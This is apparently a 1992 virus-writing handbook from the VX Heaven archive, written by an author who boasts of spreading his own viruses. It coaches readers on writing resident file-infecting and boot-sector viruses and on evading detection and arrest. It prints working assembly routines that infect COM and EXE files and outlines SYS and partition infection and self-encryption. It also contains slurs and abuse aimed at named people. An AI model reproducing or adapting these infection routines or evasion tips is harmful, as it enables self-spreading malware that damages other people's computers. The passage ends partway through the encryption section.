Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

VIRUSES: What they are, What they do, How they are written (The Virus Writer's Handbook: The Complete Guide)

Terminator Z
1992

[Back to index] [Comments]

Introduction

Greetings to all who are reading this purely informational text file. This file is aimed at educating the public on the subject of viruses - what they are, how they work, and what techniques a virus author is likely to use. BY NO MEANS IS THIS TEXT FILE AIMED TO BE USED IN THE CREATION OF A VIRUS! The use to which this text file is put, however, is in the hands of the reader, and I am to bear no responsibility whatsoever as to forthcoming liveware which draws information out of this text file.

I have written this text file because I think it is a good means of communicating ideas and concepts to others. I have written a number of viruses which were *accidently* released into the public domain (bad luck). All my viruses to date (except a few lame attempts a few years back) have been TSR COM and EXE file infectors at least. Some were stealth, some were only quasi-stealth, others infected the partition table as well... I even wrote a boot sector virus (BSV). In other words, I have done it all. (let's not get too carried away here...) I do not claim to have made the smallest of their kind, although sometimes that is the case; eg. MicroAcne, the COM/EXE/OVL/SYS/Partition/Quasi-Stealth /Self-Encrypting virus, which was under 2k. The only viruses which come anywhere near that at this point in time is the Tequila virus (EXE/Partition/Quasi-Stealth/Self-Encrypting, 3k), Invol (EXE/SYS/Self-Encrypting, 1.5k), Invader (COM/EXE/Boot/Warmboot-Survive, 4k), and so on.

I HATE HATE HATE HATE HATE overwriting non-resident viruses. Any wanker can program them. Even Rock Steady [NuKE] progressed onto the big Non-Resident Parasitic COM infector long ago. If he can, you can.

(and BTW, I used the handle Harry McBungus when writing my viruses. That was my other handle, and I have shed it.)

With all that out of the way, we can start.

(BTW, ONAK are worse than PCNK in VSUM)

Greets/Acknowledgements

I might as well greet a few people in here since this is sure to travel far. It may not be the best place to greet some of these people, but who gives a fuck.

Patricia Hoffman.
I could write pages of stuff to you, mostly highlighting your need to gain some programming skill and ability to recognize viral structures etc. It doesn't half show up when 60-70% of your entries include the text string... "It is unknown what else this virus does besides replicate". Anyway, love you much, dont forget to turn your electric buddy off when you go to bed.
John McFuck.
Nice sensationalist mickey-mouse outfit of a virus company. Wanker.
Peter Norton.
Nice anti-virus software. Runs like an epileptic with stroboscopic sunglasses.
Dopeman.
Nice contribution to society. Boom boom.
Optical Illusion...
Got a spare laptop?..
J.O.E. Grafix,
Music and programming? Love it. I need to talk to you. And yes I agree with your statement regarding Hard Core... he DOES program like a headless chicken...
Acid Phreak..
Grow some new parents.. or at least put them up for adoption
Lord Venom.
I need to talk to you, call Wizards Tower some time. I'll give you some nice source codes.
Suicide Tsui.
Use Morpheine next time. You won't need to have your stomach pumped then.
Tormentor.
Fucking lame. At least you're trying.
Rock Steady.
Yeah you've got a bit of promise, but you've done nothing fancy enough to support that inflated ego. Try to make something without ripping off someone else's source code. And no I'm not picking on you, you're just the first person that comes to mind on some things...
PsychoBlast.
Nice virus buddy.
Storm Waterdrain.
Nuggas in effect hhehe yeppo

Dedications

Just one dedication, fellas...

"[this document is] Dedicated to the dynamic memories of the millions of viruses who are no longer with us today."

- Ashar/Brain virus

Oh and thanks to Faith No More, Nirvana, Metallica, Led Zeppelin, Red Hot Chili Peppers, Jimi Hendrix and Public Enemy for the soundtracks to which this text file was written.

Notes to virus groups

RABID They may not have been the best viruses, but you did it by the numbers. Absolutely nothing to rave about though, except maybe [Su2] sorry I mean DataRape 2.. but you ripped 95% of that anyway (but at least it's listed "Common"). Sorry to see you die. Best virus to date: Sunday-2

NuKE Attitude problems from hell. Getting your viruses into VSUM is not the penultimate goal of virusing. It's writing a small, fast, quickly-spreading virus which is WORTH admiring. Not like 903 bytes of shitty Nonresident COM infector. As I said, you're coming closer, but still a long LONG way to go. And throw away your Vienna source. It's a bad influence. Best virus to date: A shit vienna clone

CPI Were those newsletters supposed to be funny? Generic virus? Renaming EXEs to COMs? Ha! Best virus to date: An even worse vienna clone NoT Nice virus division. Written anything yet? Best virus to date: ??? SCP DO NOT WRITE ANOTHER OVERWRITING VIRUS. I will get very angry.

"Southern Corrupt Programmers"? I'm not knocking you, at least you're doing something constructive, even if it is ONLY an overwriting nonresident COM infector..<smirk>.. As I said, I want to have a chat with you guys. You can make it. You don't have much competition from the abovementioned groups. Best virus to date: Viper

CAVE Noticed your viruses in VSUM. Anything new? Best virus to date: Hydra series

ABT Even though you're asian you're the most successful virus writing group. Even so, they're not worth bragging about either, I mean so what if it can survive a warm boot if it's 4k? I like your boot sector infection. Your code stinks, though. Best viruses to date: Invader, Plastique IVRL Cracker Jack, you are a wanker, your viruses are shit, you're a greasy Italian. You're about as original as Patricia Hoffman.

Sorry if I sound arrogant but I'm just trying to put things in perspective. There are too many egos inflated with little more than hot air.

For the aspiring virus writer

The 10 commandments of virus writing

  1. Thou shalt not create an overwriting virus
  2. Thou shalt not rip off entire viruses and change the copyright
  3. Thou shalt not release fucked viruses
  4. Thou shalt not upload viruses to McFuck
  5. Thou shalt not brag about your viruses
  6. Thou shalt not give friends your viruses
  7. Thou shalt not infect your own machine
  8. Thou shalt not write a virus except in ASSEMBLY
  9. Thou shalt not have stupid messages in your virus
  10. Thou shalt not discuss viruses under your own name (on BBSs)

Guide to the 10 commandments...

Thou shalt not create an overwriting virus
Quite frankly, if you create an overwriting virus after reading this, there is no reason for anyone to treat you as anything other than a complete fuckwit who can't program. Respect is not gained by writing unoriginal lame viruses.
Thou shalt not rip off entire viruses and change the copyright
Any fucker can get the Vienna source, change it a bit, and create yet another variant of an already completely fucked virus. Any fucker can get the Dark Avenger source and edit out some of the myriad bugs and release it as a new virus. Any fucker can get the NF30 source (by me) and edit it and release it as a new virus. It's just not on. The problem is that John McFuck is laughing all the way to the bank, some stupid company paying megabucks for virus protection when they see how many viruses there are. They don't realize most of them are shit nonresident COM infectors. Make McFuck work for his money.
Thou shalt not release fucked viruses.
I could have released my first-ever virus 18 months ago. It was a lame Nonresident parasitic COM infector, 572 bytes long, going in a loop until there were no files left to be infected. This was dead easy to spot. Unlike many, MANY lame virus writers, I decided against its release until I could make something worth releasing. There is simply no reason to release fucked viruses. Do you want to be known for a few lame NRP COM infectors? No. So don't.
Thou shalt not upload viruses to McFuck
Lamers tend to be anxious to get into VSUM and the likes. But I doubt that anyone realizes that if you have written a genuinely decent virus, it will wind up there on its own accord? Ever heard of natural selection? Even if you do write a decent virus and upload it to McFuck hoping for early recognition, you'll go down in virus history as the wanker who cut his own virus's throat by not letting it spread by itself. (Yes I'm talking to you, Rock Steady.. heh)
Thou shalt not brag about your viruses
This is a very important rule. You'll give yourself a bad name with the scene. You're very likely to let slip something which will get you hung. You can be tricked into saying things you don't mean by reporters and such (like I did). I learned the hard way. You WILL learn to regret it if you don't heed my advice. If you are good enough to be noticed.
Thou shalt not give friends your viruses
As Rodney Rude put it...
  • a: "She bled to death from Gonorrhea"
  • b: "but gonorrhea won't make you bleed to death..."
  • a: "It does when you give it to me!"

No Frills 2.0 was on a disk which contained the Galactix zip, which I gave to a friend... He ran it (the virus), wondering what the file did, then read the file NOFRILLS2.TXT by loading up QEdit. Upon reading he realized that it was a virus, and rebooted, forgetting the infected QEdit. He proceeded to give the game Gods around (infected) and it spread around the local lame pirate scent and onto some key computers, from which the virus skipped around the globe.

You don't give viruses to your friends if you want to keep them.

Thou shalt not infect your own machine
A small dose of common sense will tell you this is true. Don't infect your own machine, regardless whether you're stepping through someone else's with a debugger or your own... unless you know EXACTLY what you're doing. (I do it all the time, but of course I know which bits to disable with my debugger).
Thou shalt not write viruses except in ASSEMBLY
What a wanker you would be to write a virus in Pascal, C or even Basic for the severely disabled. This goes without saying.
Thou shalt not have stupid messages in your virus
One of the easiest ways for your virus to be detected is to leave spurious and obvious text strings in your virus. A good example of a reject who does this without fail is Rock Steady, eg. "ParaSite Virus 1.x Released Montreal 199x by Rock Steady [NuKE]" This is a sign you're only doing it for VSUM. Not a good thing to do. Not only are they easy to spot, they can confuse the walnut-brained AV researchers enough to misname your virus. This is not nice...I think they do it on purpose. Of course, text strings are acceptable if your virus is encrypted.

I am not saying that I am completely innocent of this. My first public release, X-Fungus, was riddled with the things. It spread quickly, though, with most people in my area relying totally on signature scanners to detect viruses...which is funny, for if they had the virus, every file they scanned would become infected.. hehe. You'll probably see them in VSUM if you look hard enough.

Thou shalt not discuss viruses under your own name (on BBSs)
See point 5 for a description of the effects. Apart from looking stupid you will be used as a scapegoat by the users on the board.

Most of the commandments are just common sense, but it is disturbing to note how many of today's virus writers are very stupid in this regard, to commit genocide on their own viruses by not following the above "rules".

Overview of viruses

In this chapter we will discuss the virus's anatomy, its general effects on system performance, and other aspects of virusing. Also a brief background on the legal side of things, and the common misconceptions of viruses in the public and media.

What is a virus?

It is important to distinguish between a virus and a trojan. Technically speaking, a virus is a trojan, but a trojan is not a virus. The technical defintion of a trojan is a piece of code which does something that the program isnt supposed to do; eg. the original Cascade TROJAN, which was meant to be a program to turn off the numlock at bootup (which the code MOV DS, AX/MOV [417h], 0/INT 20H will do), but instead dumped all the characters on the screen in a pile on the bottom. This was a TROJAN: the program was not what it was labelled. BUT later on, the code to do that was incorporated into a VIRUS (now known as the 170x/Cascade virus). Viruses can be classed as "portable trojans" which MODIFY programs to do what they aren't labelled to do; ie. spread the virus. (this is not the best description available, and I hope you follow).

TROJAN
code which is disguised as something else
VIRUS
portable trojan (again, the terrible distinction. I know in my own mind what the difference is. I hope I communicated the drift.)

What kinds of viruses are there?

There are two extremely broad categories, these being Resident and Nonresident viruses. Note that most (nearly all) of the common viruses on the planet fall within the Resident category.

There are viruses which infect executables (97-99% of all viruses), boot sectors, partition tables, system files, directory entries (the least exploited method - it is very hard to implement), and so on. More on this later.

Why do I want to write one?

Ask this of yourself. Why do you want to write a virus?

As is true in most things, you will only succeed if you have set yourself a goal. In this case, the goal of writing a virus... or is it more than that? What lies behind this "I wanna write a virus"?

The most common:

  1. Challenge
  2. Recognition
  3. Curiosity

I can say that the first of the above was what attracted me to writing a virus. I can tell you that I learned infinately more writing viruses that I would have screwing around with lamo manuals and assembly books. I taught myself assembly while writing viruses. I would learn a new instruction and how it fit together. I'd write a small routine using it, then incorporate it in a virus. Sounds silly, but it's true. This is especially true of the DOS functions. Nothing uses them more extensively than viruses.

In creating my viruses, I learned many things. Among them:

  1. File manipulation
  2. Memory manipulation
  3. Tight coding practices
  4. etc...

In challenging myself to write the smallest virus I could I could achieve small and efficient code, for other things far detached from viruses. For example, my graphics code uses several shortcuts I discovered while programming viruses.

Viruses tend to force you to use registers to their best advantage, and how to use the stack to your best advantage. My NF30 virus uses absolutely 0 data areas in most of the code, the only place being the infection of the EXE file and calculating the JMP instruction for the COM infection.

In short, viruses are a good programming challenge and anyone looking to improve their assembly skills should challenge themselves to write the smallest virus they possibly can (that is TSR of course).

Prominent virus writers

Perhaps the most famous (or infamous!) virus author in the world would be Dark Avenger. He has done almost everything. His first virus, Eddie (better known as Dark Avenger... there's AV researchers for you. Now what did I say about text strings hmm?), was a TSR COM and EXE infector, infecting on Open, Execute, Attrib Change, Move, and Close. It would capture int 21h (DOS) and keep it, if anything tried revectoring it would steal it back (I have seen no other virus doing that to this day).

After that he went on to bigger and better things, making viruses such as V1024, V2000, Number of the Beast, Anthrax and other viruses. Anthrax was a shame since it had the potential to become great, since it was among the first mutipartite viruses (infecting COM, EXE and Partition table). It's only problem (being the reason of its major flop) is that instead of infecting the program being run, it would search the hard drive for the lowest directory and infecting programs there (ie. from the lowest directories up). This was not only lame but slow as well, dead obvious even to the most brain-dead of AV researchers.

Other known virus writers include phenominally lame characters, such as Cracker Jack (IVRL), Rock Steady (NuKE) and The High Evolutionary (RABID). (The first two creating lame and unoriginal viruses with large text strings, the last just ripping off Vienna a few zillion times to create the Violator range. At least he admitted it though. A good sign.)

Legal Implications

I am no legal wanker and don't claim to be. However, I have a general idea on the laws and such regarding viruses.

Australia. There's no problem with writing the things, but if you're found deliberately spreading them you're in serious shit. USA. Depending on state you can be fucked over for even writing the things, but mostly similar to Australian law. Bulgaria. Obviously no problem with writing or distributing viruses there. Just ask Dark Avenger.

You can get a bad rep for writing viruses, and for fuck's sake DON'T WRITE A DESTRUCTIVE VIRUS! YOU CAN BE SUED FOR DAMAGES!

Public Misconceptions

The worst problem of all is the lack of public understanding of viruses. I could devote the next 20k of this file on the subject, but I won't. I'll pin it on one entity.

The Media.

The media would have it that every single virus in existence will destroy hundreds of hours work on every computer they come in contact with. They (the viruses) will ruin computers, rendering them useless unless they are taken to an AV researcher as soon as possible. They will ruin monitors; they will snap backup tapes; they will wreck floppies; they will write through write protect tabs; they will format your hard drive.

This is all complete and utter bullshitism and sensationalism.

Even my X-Fungus virus was branded a killer. I didn't realize the extent of public ignorance. Compounded by a fuckwit of a reporter I was not made to look good at all.

Let me tell you first that X-Fungus is a benign virus, infecting COM and EXE employing Quasi-Stealth (hiding file size increase) routines. It infected on Open, Extended open, Execution, Move, Execution, Attrib Change.

Headline: "Teenager Terminator at 15" (I am 16 now, though)

Subheadline: "Virus writer leaves deathly calling card"

[extract from first 2 paragraphs]:

"Few people knew of the dead rock band drummer but all knew it spelt disaster...[...]...It quickly spread through [a certain company] wreaking various degrees of havoc..."

Deathly calling card? What's deathly about a text string? (BTW the text string read: John Bonham - September 20, 1980 - L E D Z E P P E L I N - ) And yes I know, I got the date off by 5 days - what a fuckup. Life.

"...but all knew it spelt disaster..." Disaster? They had it for over a week before they knew about it. Call that a disaster? "Luckily no data was lost". Luckily? If they could tell their wanking hand from a keyboard they would realize that there was no destructive code in it.

"...It quickly spread through [] wreaking various degrees of havoc..." What degrees of havoc? 0. None at all.

Then came the letters to the editor. Both echoed that I should be publicly humiliated and made to pay for what I had done.

But what HAD I done? Naturally they assumed that I had caused thousands of dollars damage to their computers. Now where could this assumption have come from? The media? Nahh... The media are nice, responsible people.

In fact I called both the people that wrote in and had their letters published. The first one was nice about it, and I moved her opinion to one of hatred towards me to the fucker that wrote the article. The second hung up on us, not before I asked ... no here's a dialogue...

me: "Hi... This is terminator Z... You wrote into the paper .." her: "yes. All I have to say is that I own a PC, I put a lot of time into it and I don't want to see all my work destroyed. <click>"

See the last line? So much for public education. I also see McFuck is eager to push this. I see him failing dismally in educating the public on his merry way to the bank. Michaelangelo? What a public threat to all computers! Didn't you know that every single floppy had it? Or so the media had it.

Anyway, I think I have communicated my absolute disgust at the AV community and the Media in general. You get a more direct story on a murder if you ask the corpse. The media's story is more distorted than a spastic's face when you plug him into a power socket. (etc).

Anatomy of a virus

In this chapter I will discuss how most viruses are structured, the pros and cons of various approaches, and so on. We start getting down to business in this chapter.

Memory Resident vs. Direct Action

There are many types of viruses, but they all fall into two very distinct and wide-ranging categories: Resident and Nonresident.

On their own, this classification is far too indistinct to be of any use. So each are divided up again.

Resident
Boot sector viruses, executable infectors
Nonresident
Executable infectors

Still no real distinction. At this point we must realize that by their very nature, Resident viruses are far more common (by number of infected sites) than Nonresident viruses (another reason not to write nonresidents).

Resident Executable infectors
COM infectors, EXE infectors, OVL infectors, SYS infectors.
Nonresident Executable infectors
COM infectors, EXE infectors.

Again the limitations of Nonresident are evident.

General structure of a Nonresident Parasitic:

JMP to virus code
Find first in (*.com) or (*.exe)
loop Open found file
Check for infection
Infected? exit
Infect File
Close it
Find next
Restore first 3 bytes
JMP to exec adress

General structure of a Resident Parasitic:

JMP to virus code
Resident? -> Yes: exit1
Install TSR
exit1:
restore bytes (if COM)
JMP to exec address
TSR:
Exec?
-> Yes: Infect
Open?
-> Yes: Infect
Attrib change?
-> Yes: Infect
Move?
-> Yes: Infect
TSR check?
-> Yes: Return resident flag
Exit2
Infect:
COM or EXE?
-> No: Exit2
Infected already?
-> Yes: Exit2
Get Attribs
Get Date & Time
Set Attrib=0
Call COM/EXE infect routine
Reset Date & Time
Reset Attribs
Exit2

As you can see, the Resident virus is far more complex in layout. In reality, it's not all that complicated. You may be able to see how it promotes structured and well-ordered code. (Some authors take "subroutining" to the extreme - those of you who have stepped through the Keypress virus will know what I mean. Hi to you if you wrote Keypress!).

Size vs. Speed

As seems logical, the larger a virus is the longer it will take to infect files and will be easier to notice. Good programming should keep the average virus below 1.5k. For anything more than 2k you should be spanked, unless it does something really tricky.

Some code is so ratshit you'd think a headless chicken programmed it. The worst example of a well-written virus (apart from ones written in BASIC) would be a tie between a number of viruses: the entire Jerusalem family, the entire Plastique family, Whale, SVC 6.0, and to a lesser degree the Eddie virus (a shocker, not good to start out learning from).

Although the Whale virus is large, it is one of the most sophisticated viruses out there in the wild. It is what you could call a Schitzophrenic virus, changing its behaviour. Read up on it somewhere. It is made slow because the author thought he'd be smart and confuse people by putting in millions of CALL instructions instead of JMPs. As a result, the code jumps around like an epileptic on an electric trampoline. Sure, it confused the fuck out of me. Try it yourself.

You might think 4096 is a good virus. Well it's not. It's fucked as far as code structuring goes. The guy is so wasteful. I wrote a similar virus in less than 2k. But mine didn't have a boot sector imbedded in it like the 4096 does... so ok, 2.5k vs. 4k... which is better? Anyway.

The lame virus

You only have to load up VSUM and press a few arrow keys and enter keys to find a lame virus these days. This is what you do while using VSUM....

"Overwriting Non..." is as far as you look. Skip. "Non-Residen..." Skip. "COM Infec..." Skip.

There's even a hopeless virus out there which is Resident Overwriting COM infector. How lame can you get?

The headings on Non-lame viruses... "Memory Resident Parasitic COM and EXE infector" "Memory Resident Parasitic COM, EXE and Partition Table" "TSR Stealth COM, EXE, SYS, OVL, Boot Sector and Partition Table infector" <-- The ultimate virus

Tools for the job

OK, you've been drooling for the past ten minutes reading over this text file bulging with ideas to put into viruses. Write them all down so you can come back to them later! (A note at this: Try out your ideas! Otherwise your virus will join the countless in the ranks of the standard TSR COM & EXE Parasitics! Be ORIGINAL!) So how?

Originality is a key factor in creating a decent virus. This is what the likes of Rock Steady and Cracker Jack lack. (Rock Steady isn't so bad... at least he's dedicated to his work. Keep it up Rock. Nothin' comes easy.)

A decent assembler. I have a no-nonsense and (above all) QUICK assembler, none other than Eric Isaacson's A86 3.19 - a very good assembler. I might even register it one day, it's that good. Well at least it's good for this kind of stuff, and it doesn't cry to mama when it doesn't get segment definitions etc. It can even produce OBJs. It's not too keen on arithmetic (eg. it can't do MOV AX, (E_LEN-S_LEN)/16+1).

Some reference material. I use Norton's Guide to Assembly. A very good manual. Someone will have it, pirate it off them. The MS-DOS Encyclopedia is also handy to have regarding DOS structures and things. Another handy hypertext manual to have is Tech_Help! by Flambeaux Software. This isn't common, go buy it. It's amazing. It includes undocumented functions of DOS and structures. I almost bought it until I found someone who already had it. VERY GOOD.

Time. Lots of time is essential if you want to churn out your first virus quickly. Afternoons are good. Whole weeks are even better. Holidays are good, but you'd be a wanker if you weren't doing other things besides sitting at home all day during holidays. But that's just personal opinion. Anyway on with it.

Stupid Parents. Not stupid with everything, just stupid enough not to realize you're writing a virus. Don't make directories called VIRUSES; don't call your source codes WIPEDISK or DISEASE or EPIDEMIC or anything like that; don't head up your source code "; Computer Virus" or anything. Straightforward common sense.

Assembly Language experience. This is ABSOLUTELY ESSENTIAL. Need I say more?

Computer equipment is not important. I write all my viruses (and even this text file) on a shitbox 4.77 monochrome XT with a 99ms 20meg Miniscrap (complete with the occasional Seek Error Drive C:). So what if you have 8 megs of RAM, have 4 porno Gifs in separate windows while running Trackblaster using your SB Pro and Scream Tracker using your PC Squeaker? It doesn't really matter at all.

Infecting files

Down to business.

Infecting files is the lifeblood of the computer virus. If there were no infected files, there would be no virus... (yeah shut up I know about boot sector viruses. Smart-arse.)

Before we start, I must make it plain that all my routines are geared for TSR viruses. (A coach doesn't teach anything but the best technique, does he?). We are assuming that DS and ES registers are set to the segment of the virus and that there are data areas already mapped out under the names I use in the code.

I also assume that the file to infect is already opened and the file handle is contained in the BX register. The routine FUNCTION_CALL is a piece of code which simulates an int 21h, as such:

function_call: pushf
               call dword ptr cs:[old_21]
               ret

COM infection

The COM file is a direct image of a segment of memory. DOS builds a Program Segment Prefix (PSP) in a free segment of memory, then loads the COM file to PSP:100h. This is a fixed address.

We can take advantage of this fixed load area. The logic behind the infection of a COM file involves changing the first 3 bytes in the com file to a JMP instruction (0e9h, xx, yy is JMP yyxx), after saving them somewhere else, of course.

To calculate the number to go in the XX and YY areas in the above is very simple. Seek to the end of the COM file (after making sure that the file will not overrun 64k after infection). Subtract 3 (3 DECs) from the value returned in AX by the DOS function. That's it.

  com_infection:                                ; called from main routine
                  call file_zero
                  mov cx, 3
                  mov dx, offset first3_save
                  mov ah, 3fh
                  call function_call            ; read original first 3 bytes
                  mov di, jmp_temp              ; work out jump
                  mov al, 0e9h                  ; JMP mnemonic
                  stosb
                  call file_end                 ; seek to EOF
                  or dx, dx
                  jnz dont_infect               ; if DX>0 then more than 64k
                  cmp ax, 4                     ; if len<4 then too small
                  jb dont_infect
                  push ax
                  add ax, v_len                 ; length of virus
                  jc dont_infect                ; CF set if overruns 64k
                  pop ax
                  dec ax                        ; subtract 3
                  dec ax
                  dec ax
                  stosw                         ; and now we have it
                  mov dx, start                 ; start of virus
                  mov cx, virus_length
                  mov ah, 40h                   ; Fn 40h, Write to handle
                  call function_call            ; Append virus to file
                  call file_zero                ; seek to 0
                  mov cx, 3
                  mov dx, offset jmp_temp
                  mov ah, 40h
                  call function_call            ; write first 3 bytes
  dont_infect:    ret                           ; return to main routine

(note: NF30 does not care if the COM file will overrun the 64k barrier, because there aren't that many 63k COM files floating around out there)

EXE infection

Now THIS is one of the hardest hurdles to overcome. Once you work out how to infect EXE files the rest comes a lot easier. Try it yourself before reading this section. I strongly urge you to do this.

I worked out my own routine, because I couldn't understand what the fuck Dark Avenger was doing in Eddie... he must have been drunk or something when he wrote it. Turns out my routine is smaller and faster anyway.

The principle involves reading (and saving) the original values for the CS:IP and SS:SP of the EXE file and changing them for what is required. The hard bit comes when you go to calcate how many code pages are contained in the file after you've infected and so on. It's complicated enough that I can't create the code off the top of my head like I did the COM infection routine above.

Before we embark, I must describe the layout of the EXE file header.

OffsetMeaning
00 * EXE file header (Signature)
02 * # of bytes in the final code page (Part_Page)
04 * # of code pages [1cp=512bytes] (Page_Cnt)
06 # of items in relocation table
08 * # of paragraphs in header (Hdr_Size)
0a Minimum amount of memory needed to run
0c Maximum amount of memory
0e * Paragraph offset of Stack Segment on Startup (Relo_SS)
10 * Stack Pointer on Startup (Exe_SP)
12 Checksum of the EXE file
14 * Instruction Pointer on Startup (Exe_IP)
16 * Paragraph offset of Code Segment on Startup (Relo_CS)
18 Offset of relocation table
1a Overlay Number

'*' denotes items which are referenced or changed during infection. These are referenced using the labels in the brackets.

Relevance of '*' items:

Signature
If this is not 'MZ' or 'ZM' it is NOT an EXE file
Part_Page
If this is wrong, the EXE will not load properly
Page_Cnt
If this is wrong, the EXE will not load at all
Hdr_Size
The size of the header is not counted in Page_Cnt
Relo_SS
We must not assume anything, we make our own stack
Exe_SP
Pointer to where our stack is within Relo_SS
Exe_IP
IP of start of virus
Relo_CS
Segment where virus is

There are a number of ways to infect EXE files. One method is to round up its length to a multiple of 16 (paragraph boundary) so that execution always starts at 0 or 100h (depending on what the author desires). I hate this approach, becuase it makes it very hard to employ stealth techniques.

BTW the function 4302h (LSEEK to end plus 0) returns the size of the file in AX and DX, the size being (65535*DX+AX). It is necessary to convert the number of 65535's into an amount of paragraphs for it to be useful. To do this: Multiply the number in DX by 0ffffh, so you get a value in AX with the higher bits (the overflow) in DX, then dividing by 16 (one paragraph). You are left with the number of paragraphs in AX.

  exe_infection:  call zero_file          ; seek to 0
                  mov ah, 3fh
                  mov cx, 1ch
                  mov dx, temp_load       ; temporary load space
                  mov si, dx

                  call function_call

                  lodsw
                  cmp ax, 'ZM'            ; exe header signature
                                          ; (must have this)
                  je ef_ok
                  cmp ax, 'MZ'
                  je ef_ok
                  jmp com_infection

  ef_ok:          mov di, offset orig_ss
                  add si, 0ch             ; save the relevent info at the
                  movsw                   ; beginning of the virus
                  movsw                   ; (SS, SP, IP, CS respectively)
                  inc si
                  inc si
                  movsw
                  movsw

  zend_file:      call file_end           ; EOF

                  push dx                 ; save file length on stack
                  push ax

  write_end:      mov ah, 40h
                  mov cx, v_len           ; write virus (v_len is length of
                                          ; virus)
                  mov dx, 100h
                  call function_call
                  call file_end
                  mov word ptr [size_save], ax
                  mov word ptr [size_save+2], dx

  fix_dx:         pop ax                  ; refresh values in AX and DX
                  pop dx
                  push dx
                  push ax
                  xor bx, bx
                  or dx, dx               ; is DX 0?
                  jz fix_ax

                  xchg ax, dx             ; calculate the number of paragraphs
                  mov dx, 0ffffh          ; denoted by value returned in DX
                  mul dx                  ; (as described verbally, above)
                  mov bx, 10h
                  div bx
                  inc ax
                  mov bx, ax

  fix_ax:         pop ax
                  pop dx
                  xor dx, dx
                  mov cx, 10h
                  div cx
                  mov cx, dx              ; cx = fill bytes
                  add ax, bx              ; ax = no. of paragraphs

  patch_header:   sub ax, word ptr [hdr_size]

                  mov word ptr [relo_cs], ax
                  add cx, e_len           ; e_len: offset of EXE entry pt.
                  mov word ptr [exe_ip], cx

                  add cx, top_stack - 100h
                  mov word ptr [relo_ss], ax
                  mov word ptr [exe_sp], cx

  fix_pagecnt:    mov ax, word ptr [size_save]
                  and ax, 1ffh
                  mov word ptr [part_page], ax
                  pushf
                  mov ax, word ptr [size_save+1]
                  rcr ax, 1               ; don't ask me, ask Dark Avenger
                  popf                    ; (this is the only part I didn't
                                          ; write myself)
                  jz put_cnt
                  inc ax

  put_cnt:        mov word ptr [page_cnt], ax

  write_hdr:      call file_zero
                  mov cx, 1ch
                  mov dx, temp_load
                  mov ah, 40h
                  call function_call

  k_kewl:         mov byte ptr [infected], 1

That's it. Refer to the complete source code of NF30 at the end of this document for a more complete idea of what's happening.

OV? infection

Few people realize that this is exactly the same routine as the EXE infection. But some overlays aren't in EXE header format, I hear you say. So? It won't be infected then, because you checked it had one before you tried infecting. (That's included in the above code anyway).

SYS infection

Like any programmer, I am not inclined to giving away my deepest darkest secrets. You must work this one out for yourself (the code, at least) becuase I'm not going to include the code. I will admit that I couldn't figure out a way to reserve memory without inserting code into the partition table to do it for me, but apart from that everything works fine. (could someone get me a copy of Invol for me to look at?)

Note that the main purpose of infecting SYS files is so your virus can get into memory before any AV software. So it would be pointless to have a virus which is infectious off the partition AND SYS files. A sensible approach to this would to infect SYS files, but not to make it infectious off SYS files; merely to check to see if the virus is resident, and if not, patch the partition so that it will be on next boot-up.

Work out your own code. It's dead simple, but if you can't do it, remember: nothing comes easy!

Firstly, the layout of the SYS header:

OffsetSize Meaning
00 dword pointer to next device driver (initialized by DOS)
04 word device attribute
06 word offset of strategy routine
08 word * offset of interrupt routine
0a 8bytesdevice name (eg. 'LPT1 ')

'*' denotes a value referenced or changed during infection.

Infection of SYS files is similar to COM files as far as calculating the offset to jump to goes. Seek to EOF. Add to AX the relative offset of your SYS entry handler, then shove AX it into word ptr [8] (after saving the original [8] value).

The first time the interrupt routine is called will always be the Initialize call. You can safely assume nothing crucial is about to take place (but remember to save all the registers). Do what needs to be done (TSR check, partition infection etc.), restore the original interrupt routine pointer, and jump to it.

Boot Sector Viruses

I must tell you that BSVs are not my forte. They are generally simple in design, but there are always going to be new media formats in the future and what is now a safe place to keep the original boot sector may not be in a year's time.

One way to overcome this is by marking sectors as bad and putting the code/boot sector in there, but to do this the original BPB must be available, and if another virus is on the disk, it will fuck up. (and I never spent enough thought wondering how to maniuplate the FAT, so I never bothered. If you want to, figure it out for yourself. Don't forget about 12- and 16-bit FATs...)

The world's most common BSV, and perhaps most common of all viruses, is the widely-known Stoned family (known as Marijuana, Hawaii etc). The original Stoned virus' code was shot to shit. A bucket of crap. Then it was adapted for hard drives. It only catered for 360k-or-below disks, so when 1.2's and 1.44's came out there was a big shit about it because it would corrupt the FAT, and so a new version of Stoned was released.

What it does: Upon booting off an infected floppy, it will decrease available memory by 2k (2xDEC [0:413h]) and copy itself to [TOM-2k] and revector int 13h (BIOS disk services). At this time it will check to see if the hard drive (if one exists) is infected, and if not, will write the original partition to 0:0:7 (physical sector 7), and write the infected partition to 0:0:1 (physical sector 1).

Once it has done that, it will read the floppy's original boot sector into 0:7c00h and jump to it. The boot/nonboot will proceed as normal.

Any non-write-protected disk inserted into the machine and accessed will be infected. It will read the original boot sector and if it's not already infected, will write it to the last sector within the root directory, and write itself to the boot sector.

Most BSVs follow this general pattern, since it's really the only way to infect without any noticeable disk seeking.

The general pattern for BSVs:

Bootup:

  1. Decrement memory by Xk
  2. Write myself to high memory
  3. Revector appropriate interrupts
  4. Hard drive present?

    No: go to 9

  5. Hard drive infected?

    Yes: go to 9

  6. Read Partition and store somewhere else
  7. Patch partition information into myself
  8. Write myself to partition table
  9. Load original boot sector/partition table
  10. Jump to it

Interrupt Handler:

  1. Is drive motor going?

    No: go to 6

  2. Read boot sector
  3. A copy of myself?

    Yes: go to 6

  4. Store boot sector somewhere else
  5. Write myself to boot sector
  6. Proceed as normal.

This is a very general and very simple overview of the BSV; you can add stealth, encryption and other such tricks if you wish.

Tricks

What differentiates viruses from each other? Tricks of course. Small additions which make each virus unique and less boring. I could churn out a million viruses which do exactly the same thing but in a different fashion, but where would it get me? Where would it get you? Be original. Be creative. (some of you may have trouble with this, but you can at least TRY.)

More often than not viruses employ only small tricks, such as wiping hard drives and displaying messages like "die fucking lamer" (this is not original. I also despise destructive viruses. It gives us a bad name, McFuck more $$$ and a higher likelihood of law amendments.)

Have you noticed that the marjority of today's Common viruses exhibit some sort of original or innovative behaviour, whether it be small size (eg. Ontario virus, infects COM, EXE and is 512 bytes!), beeps, stealth, all that. Don't just be lame and release a boring virus. How about making the timer tick backwards?

Self-Encryption

Self-encryption is fairly easy. Differing mutations are somewhat harder. I'm only going to teach you the former; I'm not giving away any real secrets. Again, work it out for yourself.

The principles governing self-encryptions are simple. When infecting a file, copy your virus to another block in memory, but on each byte, perform some arithmetical transformation. To decrypt, perform the opposite of this function. eg.

EncryptingDecrypting
